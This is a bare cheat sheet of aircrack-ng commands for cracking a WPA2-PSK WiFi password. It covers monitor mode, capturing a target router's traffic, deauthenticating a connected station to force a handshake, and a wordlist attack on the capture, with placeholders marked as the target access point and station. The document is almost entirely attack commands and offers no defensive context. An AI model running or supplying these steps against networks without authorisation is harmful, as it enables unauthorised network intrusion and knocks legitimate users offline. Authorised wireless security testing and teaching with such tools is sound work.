WPA2-PSK

#disconnect from all WiFi networks

#kill all troublesome processes
sudo airmon-ng check kill

#see all available interfaces
sudo airmon-ng

#start interface in monitor mode
sudo airmon-ng start

#site survey
sudo airodump-ng wlan0mon

#start dumping target router traffic to cap file
sudo airodump-ng -c 6 --bssid xx:xx:xx:xx:xx:xx -w /path/for/cap/files wlan0mon

#once a station is discovered then force it to deauth
sudo aireplay-ng -0 0 -a xx:xx:xx:xx:xx:xx -c yy:yy:yy:yy:yy:yy

#process cap files
sudo aircrack-ng -a2 --bssid xx:xx:xx:xx:xx:xx -w /path/to/wordlist.txt /path/to/cap/files/*.cap

#key
xx = target access point
yy = target station